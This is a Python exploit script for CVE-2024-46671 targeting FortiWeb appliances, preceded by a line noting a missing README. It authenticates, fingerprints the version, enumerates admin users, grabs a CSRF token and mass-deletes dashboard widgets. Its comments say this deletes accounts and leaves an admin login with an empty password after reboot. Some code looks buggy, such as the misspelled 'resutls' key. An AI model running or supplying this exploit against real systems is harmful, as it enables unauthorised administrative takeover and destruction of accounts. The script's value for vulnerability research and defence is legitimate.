README.md
README.md not found for CVE-2024-46671. The file may not exist in the repository.
import requests as r
import sys
import warnings
# ignoring warnings of cert
warnings.filterwarnings('ignore')
# init vars
LOGIN_PATH = "/logincheck"
API_USERS_LIST = "/api/v2.0/cmdb/system/admin"
API_WIDGETS_ENDPOINT = "/api/v2.0/system/status.dashboard_widget?mkey={}&sub_mkey={}"
API_SYSTEM_STATE = "/api/v2.0/system/state"
users = []
def banner():
banner = """
______ _______ ____ ___ ____ _ _ _ _ __ __ _____ _
/ ___\ \ / / ____| |___ \ / _ \___ \| || | | || | / /_ / /|___ / |
| | \ \ / /| _| _____ __) | | | |__) | || |_ _____| || |_| '_ \| '_ \ / /| |
| |___ \ V / | |__|_____/ __/| |_| / __/|__ _|_____|__ _| (_) | (_) / / | |
\____| \_/ |_____| |_____|\___/_____| |_| |_| \___/ \___/_/ |_|
By MEGHNINE islem
"""
print(banner)
def validate_url(url):
if ("https://") in url:
return url
else:
if "http://" in url:
url = url.split("http://")[1]
return "https://" + url
return "https://" + url
def init_req():
return r.Session()
def test_connection(url):
res = r.get(url, verify=False)
if res.status_code == 200:
return True
else:
return False
def is_vulnerable(req, url):
res = req.get(url + API_SYSTEM_STATE, verify=False)
system = res.json()['resutls']['config']
if system['CONFIG_MAJOR_NUM'] <= 7:
if system['CONFIG_BUILD_NUMBER'] == 638:
print("[+] Vulnerable")
return True
else:
print("[+] May be vulnerable")
return True
else:
print("[-] Not vulnerable")
return False
def get_cookies(req, url, username, password):
data = {"ajax":1, "username":username, "secretkey":password}
res = req.post(url+LOGIN_PATH,data,verify=False)
return res.text
def get_users_list(req,url):
res = req.get(url + API_USERS_LIST,verify=False)
for user in res.json()['results']:
#if user['access-profile'] == "prof_admin": # filter only priv admins
users.append(user['name'])
print("[+] Users found successfully")
return users
def get_csrf_token(req,url):
res = req.get(url + API_SYSTEM_STATE, verify=False)
system = res.json()
if system['status'] == "success":
return system['resutls']['admin']['csrf_token']
# this exploit will trigger 2 vulnerabilities (after reboot)
# - Arbitrary account deletion
# - Creation of a fresh admin account (full premissions) with none password
def delete_widgets(req, url, target_user, token):
headers = {
"Content-Type": "application/json",
"X-Csrftoken": str(token)
}
data = {}
mkey = f"sys_{target_user[2]}_1_root" # crafting mkey with default VDOM and dashboard id
for w_id in range(1,20): # blindly removing all widgets
furl = url + API_WIDGETS_ENDPOINT.format(mkey, w_id)
res = req.delete(furl,json=data,headers=headers,verify=False)
if res.json()['errcode'] == '0':
print(f"[+] widget {w_id} deleted successfully")
else:
print("[-] Error deleting widget, exiting exploit ...")
exit()
if __name__ == "__main__":
banner()
n = len(sys.argv)
if (n < 3):
print("Usage: CVE-2024-46671.py IP USERNAME PASSWORD")
else:
url = validate_url(sys.argv[1])
if (not test_connection(url)):
print("[+] FortiWeb is DOWN")
exit()
else:
print("[+] FortiWeb is UP")
req = init_req()
if "1" in get_cookies(req, url, sys.argv[2], sys.argv[3]):
print(f"[+] Connected as user {sys.argv[2]} successfully")
if not is_vulnerable(req,url):
exit()
users = get_users_list(req,url)
token = get_csrf_token(req,url)
delete_widgets(req,url,users,token)
print("[+] exploit finished successfully, waiting for fortiweb reboot then login with username=admin&password=")
else:
print(f"[-] Error authenticating as {sys.argv[2]}")
exit(0)